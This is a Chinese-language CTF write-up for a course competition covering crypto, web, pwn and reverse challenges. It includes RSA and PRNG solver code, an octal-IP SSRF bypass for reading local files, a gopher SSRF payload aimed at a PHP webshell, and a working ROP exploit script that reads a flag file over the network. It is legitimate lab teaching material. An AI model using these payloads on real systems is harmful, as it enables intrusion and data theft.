# EOF Write Up
:::warning
:warning: [WriteUp繳交](https://docs.google.com/forms/d/e/1FAIpQLScdx-zwt1WCmGPsetByk-mmc-q5CGhV568Fp55DE_gM79WIaQ/viewform)開放至 <font color=#ED3E44>**1/19 (三) AM 9:00**</font>,逾期不開放補繳
**隊伍名稱** : ⧸⎩⎠⎞͏(・∀・)⎛͏⎝⎭⧹
:::
## **Welcome**
### gogogo
NC指令`nc edu-ctf.zoolab.org 30214` 連上去就拿到 FLAG
## **Crypto**
### babyPRNG
* 這題的PRNG的Random sequence明顯固定是4個數字 [0, 109, 182, 219] 再隨機循環
* 所以將每個 byte 做 4 次 不同的 xor 並過濾出仍在 charset 的結果
* 可以拿到
`FLAG{12_pr0m15X32_12_w1ll2_n0Z72_mY4k32_my2_0wn2_rY4nd0m2_funcZ710n2_Y46Y41n}`
* 再大概把有解出來兩種結果的過濾一下 ( 沒錯,人工過濾 )
`FLAG{1_pr0m153_1_w1ll_n07_m4k3_my_0wn_r4nd0m_func710n_4641n}`
就可以拿到了XD,下面是 exploit code
```
byteEnc = bytes.fromhex(enc)
for x in byteEnc:
for y in random_:
tmp = x^y
#print(tmp)
if( chr(tmp) in charset ):
print(chr(tmp),end="")
```
### almostBabyPRNG
* 有鑑於上面那題的 Randomsquence 不怎麼 Random
* 這題可以發現 隨機數序列至少每 384 個就會產生一次循環
```
a = MyRandom()
random_sequence = [a.random() for _ in range(388)]
print(random_sequence)
```
* FLAG 的長度是 36 & Random sequence 長度是 420
* 第 385~420個 跟 1~36 是一樣的數字序列
* 將 enc[0]-enc[35] 跟 enc[-36]-enc[-1]做 XOR
* 最後拿到FLAG
### notRSA
題目的hash演算法可以寫成 (A^n) x = y,且都是在一個很大質數p的閉環下
A = [[9, 0, -36], [6, 0, -27], [0, 1, 0]]
x = [78, 58, 79]
題目給予p和y,理論上可求出n,求出的n即為flag
要有一個複雜度log(n)的演算法求出n,我猜應該要像source code加密時那樣逐個bit還原n,但我不知道怎麼做
* 有發現到A的特徵值為三重根,和特徵向量v=[6, 3, 1],(A^(p-1))v = v
* 但不確定以上發現有什麼用
### babyRSA
n = pq
m = n^2 + 69420
h = (3^2022 * p^2 + 5^2022 * q^2) mod m
題目給n和h還有密文c,m可以自己算
令a = 3^1011,b = 5^1011 (以下都有mod m, 這邊省略)
h = (ap)^2 + (bq)^2
h + 2abn = (ap - bq)^2
h - 2abn = (ap + bq)^2
sage可以用 mod(, m).sqrt() 算出 (ap - bq) 和 (ap + bq) 但是m太大了跑不出來
### easyRSA
flag被拆成4段rsa加密
給4個 (n, c) 組合
e = 65537
第一二段level 1 (n1, c1),(n2, c2)
p1, q1, q2 隨機選
2p2 = p1 - 1
根據費馬小定理 a^(p-1) mod p = 1 其中a,p互質
a^n2 mod p1 = a^(p2*q2) mod p1
另a為完全平方數a = x^2
x^2n2 mod p1 = a^(2p2*q2) mod p1 = a^((p1 -1)*q2) mod p1 = 1^q2 mod p1 = 1
a^n2 mod n1 = r,a^n2 = K*p1*q1 + r
a^n2 mod p1 = r mod p1 = 1 mod p1
則p1可以整除(r-1)
a可以帶入任意平方數,取任意數量的a,尋找各r-1間的最大公因數,如果結果是質數就是p1。
求出p1可算出p2,q1,q2,可求private key d1 d2,可解出第一二段明文
exploit code(python):
```
p1 = pow(4, n2, n1) - 1
for i in [3, 5, 7, 11, 13, 17, 19, 23, 29]:
a = i**2
p1 = math.gcd(p1, pow(a, n2, n1) - 1)
if isPrime(p1):
break
q1 = n1 // p1
p2 = (p1 - 1) // 2
q2 = n2 // p2
d1 = inverse(e, (p1 - 1)*(q1 - 1))
d2 = inverse(e, (p2 - 1)*(q2 - 1))
print(long_to_bytes(pow(c1, d1, n1)))
print(long_to_bytes(pow(c2, d2, n2)))
```
解出兩段明文
b'flag{S0rry_\x8f\xce\x1fIm7E\xc3\xfbo\xbfY\xcb\xb4\xae\xf8 \xc7k\x1c,\xdf3\xfb\xa5?Da\t\xa4D\xb2M\x8a[\x01\xbc\xe6+\xc3\xd1L\xb9\xe0)\x8a\xbd\xbf\xcb<\x1e'
b'1_f0r9ot_T0\x81\xfa\xb0\xed\xdcxl\xf5\xc7O5G\xba\x1c\xa3bJ*\x8e\x88\x1aT=\xe4.v%>\xa5\x8e\x93\xb7\xaer\x8e\x1d\x90\xe3v}_,\xebZ\x1e\xb2\xf5\x03\xed\xfd'
## **Web**
### Happy Metaverse Year
這題看了一下 source 碼,原本是打算繞過之後對 sqli 做注入做 union 然後 + 盲注 來猜 kirito 的密碼的
結果我連單引號都繞不過,最後講師說可以用 username[] 來避開 includes的偵測...
`["aaa'aaa"].includes("'") === false`
### SSRF Challenge or Not?
https://ssrf.h4ck3r.quest/ => 會顯示 proxy url 的紀錄
https://ssrf.h4ck3r.quest/proxy?url=<input> => 會直接讀取<input>網站的內容並顯示在畫面上
因為 url 使用 urlparse(url).netloc 規範輸入應該要為 <sth.>://<sth.> 並且 netloc 不能為本地端指令。但是可以使用`http://017700000001`來 bypass,成功訪問到 local 端。之後使用file type 訪問 server的路徑 `https://ssrf.h4ck3r.quest/proxy?url=file://017700000001/proc/self/cmdline` 獲取當前啟動 process 的完整命令。
`/usr/local/bin/python /usr/local/bin/gunicorn --workers 8
--access-logfile - --error-logfile - --bind 127.0.0.1:8000 --user 1000 --group 1000 --chdir /sup3rrrrr/secret/server/ main_server:app` 成功取得 server 路徑並且訪問,然後就找不到flag檔位置了QQ
* 嘗試
1. 存取 /root/bash_history => Permission Denied
2. 存取 /etc/nginx/nginx.conf => 設定在子類別的設定檔上看不到static file的路徑
### PM
* 根目錄有 /flag 跟 readflag
* Shellaction=shell&command=??? => system($_POST['command']);
* Dowload Shell 的 code 可以做 SSRF
```if(@$_POST['shell_url'])
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_POST['shell_url']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
$shell = curl_exec($ch);
curl_close($ch);
$file = fopen($_POST['downpath'], "w");
fwrite($file, $shell);
fclose($file);
```
* 應該是要用 **gopher** 建立一個 post 的請求來**做SSRF**
* parameter 放 action 跟 command => 因為 shell 會做到 system
* action=shell
* command 主要是執行 `/readflag give me the falg > /tmp/SAO`
* 編碼 `action=shell&command=/readflag%20give%20me%20the%20flag%20%3E%20SAO`
* 下面這個是先編輯檔案的指令 想說先確認這個會成功
`action=editor&file=/tmp/trythis&data=gg&save=save`
* Gopher 請求如下,但我不知道為什麼不會 work,是 payload 還是 port 錯了QQ...因為我用 burp 抓到的 IP:443 進去會是 SAO 那題的網頁... :D
``` gopher://127.0.0.1:443/_POST%20/uploads/webshell.php%20HTTP/1.1%0D%0A
Host:%20127.0.0.1%0D%0A
Content-Length:%2053%0D%0A
Content-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0A
action=editor&file=%2Ftmp%2Ftrythis&data=gg&save=save%0D%0A
```
### babyphp
主要就是兩個參數的傳入要可以通過檢測,在伺服器上建立檔案(php網頁)並執行
檢測包含output跟code兩個參數都要傳入,
output的部分要是產生檔案的檔名(要繞過ph開頭的副檔名,但是.php/.繞不過因為/.之後需要有字元)
code沒什麼限制(<?php echo $_GET['cmd']; ?>
hint是關於php://filter的部分有助於把資料寫進網頁中,但是php://filter/resource=(這邊不能使用編碼的方式)
## **Pwn**
### hello-world

用 checksec、readelf 指令檢查,沒有 CANARY、PIE 機制,並且在 fini_array 有藏 Code,IDA 反組譯會看到有個 fini() 會在 main() 執行完畢後執行,主要負責開檔/home/hello-world/flag,開檔成功後會讀入 1 byte 跟 0xff 比較,若相等的話會再 read 一次,讀取 512 bytes 遠超過 buffer 的大小造成 **BOF**。
```python=3.8
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
# r = process('./hello-world')
r = remote('edu-ctf.zoolab.org', '30212')
# bypass 0xff檢查
r.sendafter("Hello, world !", b'\xff')
# 一些單純用來填充的資料
fill = 'A'*120 # 蓋到fini的原本的return address
fill_r15 = 0 # 控制rsi時的gadget會用到
# 已知的address
pop_rdi = 0x4013a3
pop_rsi_r15 = 0x4013a1
buf_addr = 0x404F00
plt_read = 0x401090
plt_puts = 0x401080
main_fflush = 0x401315
plt_fflush = 0x4010a0
FILE_stdout_ptr = 0x404050
# 建立ROP
code = flat(
# open的fd可以預測數值為3
# 從fd3讀取資料到可被寫入且已知位置的記憶體位置
# 記憶體位置的選擇以可以放的下flag跟盡量不影響其他變數為主
# 如果選擇0x40400讀取flag後會蓋到0x404050(存stdout的指標)
# 所以這邊選擇的是0x404F00,是從.text sec高位保留0x100 byte的位置
# 補充一點:因為ROPgadget中沒有辦法控制rdx,這邊直接使用的話rdx的值會是0x200
fill,
pop_rsi_r15,
buf_addr,
fill_r15,
pop_rdi,
0x3,
plt_read,
# 從buffer中使用puts把flag輸出到螢幕上
# 但會留在STDOUT的buffer中
pop_rdi,
buf_addr,
plt_puts,
# 利用main function中的fflush部分
# 把STDOUT bufffe中的資料輸出出來
main_fflush
)
# 確認ROP沒有過長(超出讀取長度、記憶體不夠寫)
print(hex(len(code)))
r.sendline(code)
r.interactive()
```
## **Misc**
### LeetCall
只有解到第一題的第一個測資
看doc的功力不夠QQ
知道可以用內建函數 getattr 來印出資訊
```
print(getattr('Hello, {}!','format')(input()))
```
### babyheap
可以建立、編輯、刪除、瀏覽note
刪除時會檢測double free有沒有發生
## **Reverse**
### wannaSleep
這題就寫壞了QQ
x64dbg 執行完 WriteFile 後就會跳出一長串的字串
內容大概是講沙丘中間塞了 FLAG
### wannaSleep_revenge
看起來這題知道ransomware怎麼加密之後要寫exploit再解密
我只把 main 的程式碼逆完之後就不太知道要怎麼辦了
但大概知道程式流程
start -> main_seh -> main 然後就return -> main_seh了
還以為是security_cookie的東西,看來想錯了...
原來是有用到 hookWriteFile QQ
* 程式會確認輸入的 argv[1] 檔案是否存在
* 在的話就開檔+讀取
* 然後再開新檔寫東西進去 => 這裡打開新建的檔案就是加密的東西

### passwd_checker_2022
可以看到位置0x140001BE4(相對位置)有Enablewindow的function,該function設定的是rcx參數的視窗是否可以使用
在這邊修改rdx的數值為1,使得OK的buttom可以按,進到後續檢查FLAG的程式

Buttom 觸發後來到 sub_1400016B0(),這個函數主要使用了 Windows Crypt API 將剛剛視窗輸入的內容進行雜湊與加密並且與 "E2J4z66WDHCgvxlWlILStr8epTuHJ5FFuTeK6LmBwVnN"/"G2FtzpmZCkW9qA9an6Owmq5ggjunB5FluTeK+IuZ4yQ=" 字串做比對。前者是 IDA 觀察到的字串後者是 x64dbg 實際上做比對的字串 (因為程式在進去 entry point 前會先呼叫 TlsCallBack_0 函數,這個函數有一段程式碼會將 IDA 所看到一開始的初始字串進行改寫(XOR動作),如下圖這段程式碼)。

* 加密流程如下 ([Win Crypto API Doc](https://docs.microsoft.com/en-us/windows/win32/seccrypto/cryptography-portal))
CryptAcquireContextW() 創一個 PROV_RSA_FULL 的 CSP,
=> CryptCreateHash() CALG_SHA
=> CryptHashData()
=> CryptDeriveKey() CALG_RC4
=> Sub_140001140() memset一塊空間 ds:[7FF637157B50]
=> Sub_140001000() 將輸入放到 ds:[7FF637157B50] 這塊空間
=> CryptEncrypt() 將 ds:[7FF637157B50] 這塊空間資料進行加密
=> sub_140001610() 將加密結果(binary)以 base64 轉成字串形式存放在 ds:[7FF637157B50]
=> 將 ds:[7FF637157B50] "G2FtzpmZCkW9qA9an6Owmq5ggjunB5FluTeK+IuZ4yQ=" 字串做比對,相等即為 FLAG。

因為 x64dbg,可以直接在呼叫 CryptEncrypt() 前下斷點看 register 的值來得到加密的 session key。
```
這邊解 FLAG 的 exploit 因為我自己寫的 windows api 一值呼叫失敗所以我是手動暴力解的,
先將"G2FtzpmZCkW9qA9an6Owmq5ggjunB5FluTeK+IuZ4yQ="字串轉換為binary的形式,
在與加密後的ds:[7FF637157B50]資料做比較
```